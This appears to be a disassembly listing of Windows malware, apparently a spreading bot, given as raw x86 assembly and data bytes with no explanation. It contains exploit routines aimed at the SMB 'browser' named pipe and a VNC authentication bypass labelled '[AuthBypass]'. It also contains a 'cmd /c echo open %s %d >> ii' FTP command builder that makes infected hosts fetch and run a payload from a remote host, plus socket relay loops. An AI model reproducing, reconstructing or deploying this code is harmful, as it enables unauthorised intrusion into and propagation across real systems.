; L db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; č db 0A6h ; Ś db 0DFh ; ß db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; č db 0A7h ; § db 0DBh ; Ű db 0 db 0 db 8Dh ; db 85h ; db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; db 0C4h ; Ä db 1Ch db 89h ; db 85h ; db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 28h ; ( db 0D1h ; Ń db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; č db 44h ; D db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ž db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call near ptr 26E08DCh nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_432224 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432210 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 26D0000h test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 26408DCh jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 26E0000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321B8[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDC9C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_432207+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321AC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321B4[esi] push 7 add eax, edi push offset dword_4321A0 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432040 push eax call sub_41C310 mov eax, dword_4321B0[esi] add esp, 30h cmp byte_4321B8[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDC94 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321D0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321D0 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] nop call near ptr 26408DCh push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 26D08EFh mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 26E0000h test eax, eax jnz short loc_40DE4F nop call near ptr 2660882h cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2670000h cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; ě db 81h ; db 0ECh ; ě db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; đ db 56h ; V db 50h ; P db 0E8h ; č db 0D6h ; Ö db 0D6h ; Ö db 0 db 0 db 83h ; db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; đ db 2 db 0 db 50h ; P db 0E8h ; č db 2Ch ; , db 34h ; 4 db 6Ah ; j db 71h ; q db 90h ; db 0FFh db 0B5h ; ľ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; č db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; db 45h ; E db 0F2h ; ň db 0E8h ; č db 38h ; 8 db 5Dh ; ] db 6Ah ; j db 71h ; q db 90h ; db 8Bh ; db 0D8h ; Ř db 83h ; db 0FBh ; ű db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; đ db 6Ah ; j db 10h db 50h ; P db 53h ; S db 0E8h ; č db 5Fh ; _ db 5Fh ; _ db 6Ah ; j db 71h ; q db 90h ; db 83h ; db 0F8h ; ř db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ż db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 8 db 91h ; db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0B0h ; ° db 0ACh ; Ź db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; č db 0DFh ; ß db 0CCh ; Ě db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 58h ; X db 22h ; " db 43h ; C db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; ţ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; č db 38h ; 8 db 0DAh ; Ú db 0 db 0 db 83h ; db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; ţ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; č db 87h ; db 0D0h ; Đ db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; ţ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; č db 8Bh ; db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; db 0F8h ; ř db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; Ŕ db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 0E8h ; č db 0E8h ; č db 3Ah ; : db 6Ah ; j db 71h ; q db 90h ; db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; Ă dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 90000007h, 25202BE8h, 0FB834302h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call near ptr 71AB12F8h nop push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACB0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_431414o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFB4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322CC push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j call near ptr 71AB1A6Dh nop loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431418[eax] lea eax, dword_431418[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAF8C test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433510 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFB4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAF74 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB00C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE2C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431418[eax] push ebx lea eax, dword_431418[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCB4 call dword_4CAF8C test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCB0 nop call near ptr 26D0000h jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCA4 nop call near ptr 26E0000h cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCB4 call dword_4CAFC4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 2E1FC4E8h, 0FF509002h, 4CDCA835h, 1FB7E800h, 5090022Eh dd 2E19E7E8h, 458D9002h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 433514h, 7DE89057h, 8D022325h dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 251A16E8h dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 19FDE890h, 0FF6A0225h, 0FFF04589h, 0E890D875h, 2261984h dd 0F075FF57h, 2056E890h, 0FF570226h, 0E890EC75h, 226204Ch dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22D24B7h dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCBC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h dd 858B022Bh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 17EAE890h, 0FE68022Bh, 530000FFh, 9E63E8h, 0BCA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 90565959h, 2B176FE8h, 57056A02h, 0AF9C15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 351C6850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2B166FE8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 